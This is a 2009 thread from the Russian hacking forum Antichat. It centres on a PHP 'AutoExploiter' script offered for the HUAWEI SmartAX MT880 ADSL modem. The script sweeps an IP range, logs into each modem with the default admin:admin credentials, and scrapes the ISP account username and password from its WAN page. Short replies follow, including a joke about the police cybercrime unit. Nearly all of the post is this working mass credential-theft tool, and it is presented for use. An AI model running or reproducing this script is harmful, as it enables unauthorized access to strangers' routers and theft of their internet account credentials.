Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   AutoExploiter ADSL-modem beta 0.1, проверялось на HUAWEI SmartAX MT880 (https://forum.antichat.xyz/showthread.php?t=106808)

Lucas 18.02.2009 15:47

AutoExploiter ADSL-modem beta 0.1, проверялось на HUAWEI SmartAX MT880
 
Код:

<?
#!/usr/bin/php

error_reporting(0);
set_time_limit(0);

if ($argc<3) {
print "[==============================================]\n"; 
print "[ AutoExploiter ADSL-modem beta 0.1            ]\n";
print "[ Grab account [ FreeInet ]                    ]\n"; 
print "[ Modem target: HUAWEI SmartAX MT880          ]\n";
print "[ Author: PowerWMZ / Date: 10/08/2008          ]\n"; 
print "[==============================================]\n";
print "USAGE:\n";
print " [start_ip] - Start target ip\n";
print " [end_ip]  - End target ip\n";
print "SIMPLE:\n";
print " ]$ php {$argv[0]} 192.168.0.1 192.168.12.254\n";

print "\n";
die;
}
$start = $argv[1];
$end  = $argv[2];
print "[+] Grab accounts... ";

 
  $i=ip2long($start);
    while($i<=ip2long($end))
{
$ip = long2ip($i);

$auth_sock = fsockopen($ip, 80, $error, $errstr, 3);
if($auth_sock==false){}
else {
$user = "admin";
$pass = "admin";

$breq  = "GET /WAN.html HTTP/1.0\r\n"; 
$breq .= "Host: ".$ip."\r\n"; 
$breq .= "User-Agent: Google-bot\r\n"; 
$breq .= "Content-Type: text/html; charset=utf-8\r\n"; 
$breq .= "Connection: Keep-Alive\r\n";
$breq .= "Authorization: Basic ".base64_encode($user.":".$pass)."\r\n\r\n";

unset($buff);
fputs($auth_sock, $breq); 
while (!feof($auth_sock))

{
$buff[] = fgets($auth_sock,1024);
}
if (array_key_exists(336, $buff)) {
$sum[0] = $buff[336];
$sum[1] = $buff[338];

              $x=0; while($x < 2){
                $s = strstr($sum[$x],'VALUE='); 

                $nm = strpos($s,'onBlur=');

                $result = substr($s,7,$nm - 7);
                $check[] = preg_replace("|\"|", "", $result);
                $x++;
            }

               
                print "\n[-] Ip: ".$ip." | ";
                print "Username: ".$check[0]." | ";
                print "Password: ".$check[1];
    }
}       
fclose($auth_sock);
$i++;
}
print "\n[!] Done!\n";
?>

use script:
Код:

php.exe script.php 192.168.0.1 192.168.12.254

wix 27.02.2009 18:52

а че делает то?

DimOnOID 27.02.2009 20:29

Цитата:

Сообщение от wix
а че делает то?

Отдел "К" к тебе приглашает.


Время: 17:25